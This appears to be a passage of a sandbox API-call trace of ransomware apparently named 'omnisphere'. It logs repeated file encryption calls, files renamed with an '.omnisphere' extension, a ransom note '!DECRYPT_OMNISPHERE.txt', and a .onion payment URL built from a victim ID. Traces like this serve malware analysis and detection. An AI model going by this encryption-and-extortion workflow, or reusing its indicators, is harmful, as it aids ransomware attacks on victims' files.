1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.167] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.168] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.168] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.168] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x5a0, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.169] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.169] GetProcessHeap () returned 0x1600000 [0127.169] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b6) returned 0x16f0128 [0127.169] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key.omnisphere")) returned 1 [0127.181] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key.omnisphere.id" [0127.181] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.182] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.183] CloseHandle (hObject=0x3c0) returned 1 [0127.183] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.183] CloseHandle (hObject=0x288) returned 1 [0127.183] SetEndOfFile (hFile=0x28c) returned 1 [0127.183] FlushFileBuffers (hFile=0x28c) returned 1 [0127.190] CloseHandle (hObject=0x28c) returned 1 [0127.190] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.190] GetProcessHeap () returned 0x1600000 [0127.190] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f18b8 [0127.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.190] GetProcessHeap () returned 0x1600000 [0127.190] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5ac8 [0127.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5ac8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.191] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.191] GetProcessHeap () returned 0x1600000 [0127.191] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8188 [0127.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8188, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.191] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.191] GetProcessHeap () returned 0x1600000 [0127.191] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16da308 [0127.191] PathCombineW (in: pszDest=0x16da308, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.191] GetProcessHeap () returned 0x1600000 [0127.191] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e60c0 [0127.191] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.191] WriteFile (in: hFile=0x28c, lpBuffer=0x16e60c0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e60c0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.191] CloseHandle (hObject=0x28c) returned 1 [0127.191] GetProcessHeap () returned 0x1600000 [0127.191] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f18b8 | out: hHeap=0x1600000) returned 1 [0127.192] GetProcessHeap () returned 0x1600000 [0127.192] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e8e8 [0127.192] PathCombineW (in: pszDest=0x162e8e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.192] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.194] CloseHandle (hObject=0x28c) returned 1 [0127.194] GetProcessHeap () returned 0x1600000 [0127.194] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e8e8 | out: hHeap=0x1600000) returned 1 [0127.194] GetProcessHeap () returned 0x1600000 [0127.194] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.194] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2304dead, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2304dead, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2304dead, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4cd, dwReserved0=0x0, dwReserved1=0xd3, cFileName="uuXUBt8x.lnk", cAlternateFileName="")) returned 1 [0127.194] GetProcessHeap () returned 0x1600000 [0127.194] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x1656430 [0127.194] PathCombineW (in: pszDest=0x1656430, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="uuXUBt8x.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uuXUBt8x.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uuXUBt8x.lnk" [0127.194] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\uuXUBt8x.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\uuxubt8x.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.194] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1229) returned 1 [0127.194] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.195] GetTickCount () returned 0x115fbd1 [0127.196] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16691a8) returned 1 [0127.196] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0127.196] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.196] CryptDestroyKey (hKey=0x16395e8) returned 1 [0127.196] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0127.196] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4cd, lpName=0x0) returned 0x288 [0127.196] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4cd) returned 0x1480000 [0127.197] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668460) returned 1 [0127.197] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396a8) returned 1 [0127.197] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.197] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.197] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.197] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.197] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.197] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.197] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.198] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, 